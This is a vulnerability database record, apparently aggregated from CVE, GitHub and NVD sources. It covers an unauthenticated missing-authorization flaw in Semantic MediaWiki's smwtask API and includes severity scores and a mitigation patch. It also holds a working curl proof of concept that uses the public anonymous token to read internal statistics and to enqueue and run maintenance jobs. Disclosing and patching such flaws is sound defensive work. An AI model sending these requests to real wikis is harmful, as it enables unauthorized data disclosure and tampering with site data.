{"id":"CVE-2026-116890","aliases":["CVE-2026-116890","GHSA-jr78-w6w5-m8f8"],"related":[],"kind":"vulnerability","state":"published","title":"Semantic MediaWiki 3.0.0 before 7.3.0 Missing Authorization via smwtask API","summary":"Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe `api.php?action=smwtask` API module performs no authorization check. The equivalent maintenance interface in the web UI (`Special:SMWAdmin`) requires the `smw-admin` right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.\n\n### Details\n\n`SMW\\MediaWiki\\Api\\Task::execute()` (`src/MediaWiki/Api/Task.php`) reads the request parameters, resolves a task through `TaskFactory`, and runs it. It contains no permission check — no `smw-admin`, no `checkUserRightsAny()`, no per-task right.\n\nThe only gates on the module are:\n\n- `needsToken( 'csrf' )` — this is **not** authorization. MediaWiki issues anonymous users a fixed, public CSRF token (`+\\`), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.\n- `mustBePosted()` / `isWriteMode()` — do not gate on group membership.\n\nBy contrast, `Special:SMWAdmin` restricts access via `parent::__construct( 'SMWAdmin', 'smw-admin' )` and raises `PermissionsError` when the `smw-admin` right is absent. The API path bypasses that restriction entirely.\n\nTasks reachable anonymously through the module include:\n\n- `table-statistics`, `duplicate-lookup` — return internal store statistics and enumerate the internal object-ID space (intended to be behind `Special:SMWAdmin` → Supplementary functions).\n- `insert-job` — enqueues any Semantic MediaWiki job type (including `smw.fulltextSearchTableRebuild`, `smw.propertyStatisticsRebuild`, `smw.entityIdDisposer`) for an arbitrary title.\n- `update`, `check-query`, `run-joblist` — run update jobs and `#ask` queries synchronously within the request; `run-joblist` pops and executes queued jobs inline.\n\nBecause the read tasks disclose the internal object-ID space and `insert-job` can enqueue `smw.entityIdDisposer` with a specific `id` parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.\n\n### Proof of concept\n\nOn a default installation, as an unauthenticated visitor:\n\n```\n# 1. Obtain the anonymous CSRF token (the fixed public value \"+\\\")\ncurl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'\n#   -> {\"query\":{\"tokens\":{\"csrftoken\":\"+\\\\\"}}}\n\n# 2. Read internal database statistics — HTTP 200 with the data\ncurl -s -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \\\n  'https://HOST/api.php'\n#   -> {\"task\":{\"list\":{\"smw_object_ids\":{\"total_row_count\":49,\"last_id\":516,...\n\n# 3. Enqueue a maintenance job (state-changing)\ncurl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \\\n  --data-urlencode 'params={\"subject\":\"Main_Page#0##\",\"job\":\"smw.fulltextSearchTableRebuild\",\"parameters\":{\"mode\":\"full\"}}' \\\n  --data-urlencode 'token=+\\' --data-urlencode 'format=json' 'https://HOST/api.php'\n#   -> {\"task\":{\"done\":\"\"}}   (job now present in the queue)\n\n# 4. Execute queued jobs synchronously in the anonymous request\ncurl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \\\n  --data-urlencode 'params={\"subject\":\"Main_Page#0##\",\"jobs\":{\"smw.fulltextSearchTableRebuild\":1}}' \\\n  --data-urlencode 'token=+\\' --data-urlencode 'format=json' 'https://HOST/api.php'\n#   -> {\"task\":{\"done\":\"\",\"log\":{\"smw.fulltextSearchTableRebuild\":[\"Main_Page\"]}}}\n```\n\nReproduced on `master` against a default install, with the requester confirmed anonymous (`action=query&meta=userinfo` returned `{\"id\":0,\"anon\":\"\"}`).\n\n### Impact\n\nAn unauthenticated attacker can:\n\n- Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.\n- Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, `#ask` queries, and queued jobs, degrading wiki performance.\n- Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.\n\nPractical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.\n\n### Affected versions\n\nAll releases that ship the `smwtask` API module (introduced in 3.x) up to and including the current release.\n\n### Mitigation\n\nUpgrading to 7.3.0+ or apply a local patch in `localSettings.php` to disable the endpoint if you can't update:\n```php\n$wgExtensionFunctions[] = static function () {\n      unset( $GLOBALS['wgAPIModules']['smwtask'] );\n};\n```","format":"markdown","source":"ghsa"}],"published":"2026-09-18T16:59:31.000Z","modified":"2026-11-03T16:23:30.600Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"rating":"HIGH"}],"cwes":["CWE-862"],"affected":[{"ranges":[{"type":"semver","introduced":"3.0.0","fixed":"7.3.0","status":"affected"},{"type":"semver","version":"7.3.0","status":"unaffected"}],"vendor":"SemanticMediaWiki","product":"SemanticMediaWiki","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"3.0.0","status":"affected","fixed":"7.3.0"}],"ecosystem":"Packagist","package":"mediawiki/semantic-media-wiki","purl":"pkg:composer/mediawiki/semantic-media-wiki","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"3.0.0","fixed":"7.3.0"}],"vendor":"semantic-mediawiki","product":"semantic_mediawiki","cpe":"cpe:2.3:a:semantic-mediawiki:semantic_mediawiki:*:*:*:*:*:mediawiki:*:*","source":"nvd"}],"references":[{"url":"https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-jr78-w6w5-m8f8","tags":["exploit","mitigation","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/semantic-mediawiki-3.0.0-before-7.3.0-missing-authorization-via-smwtask-api","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/SemanticMediaWiki/SemanticMediaWiki","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.3.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-10-27T13:46:26.251Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-116890","url":"https://www.cve.org/CVERecord?id=CVE-2026-116890","licence":"CVE Terms of Use","modified":"2026-10-27T14:12:54.564Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jr78-w6w5-m8f8","url":"https://github.com/advisories/GHSA-jr78-w6w5-m8f8","licence":"CC-BY-4.0","modified":"2026-10-28T03:11:08.831Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-116890","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116890","licence":"Public domain","modified":"2026-11-03T16:23:30.600Z"}],"updatedAt":"2026-11-25T22:59:47.344Z","epss":{"score":0.0028,"percentile":0.21988,"date":"2026-12-01T12:00:22.000Z"}}